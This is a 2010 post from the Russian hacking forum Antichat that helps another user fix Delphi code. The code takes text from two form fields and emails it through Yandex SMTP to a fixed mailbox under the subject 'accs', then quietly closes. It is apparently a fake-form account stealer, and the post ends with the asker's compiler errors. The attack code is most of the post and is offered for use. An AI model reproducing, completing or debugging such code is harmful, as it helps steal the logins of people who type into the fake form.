29.03.2010, 17:33
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами:
8686406
Репутация:
265
|
|
Сообщение от EndLeSSDre@M
Как нет то.. у тя вот так должно быть:
PHP код:
Procedure MySleep(Sec:Integer);
Var I:Integer;
Begin
For I:=1 to Sec do
begin
Sleep(1000);
Application.ProcessMessages;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='1'; //вот тут у тя ковычки не хватало!
IdSMTP1.Password:='1';
IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text;
IdMessage1.From.Text:='1@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='1@mail.ru';
IdMessage1.Subject:='accs';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
MySleep(10); //ссылка на процедуру
ShowMessage('Текст');
Close;
end;
[Ошибка] Unit1.pas(86): Missing operator or semicolon
[Ошибка] Unit1.pas(46): Unsatisfied forward or external declaration: 'TForm1.MySleep'
[Фатальная Ошибка] Project1.dpr(5): Could not compile used unit 'Unit1.pas' 
|
|
|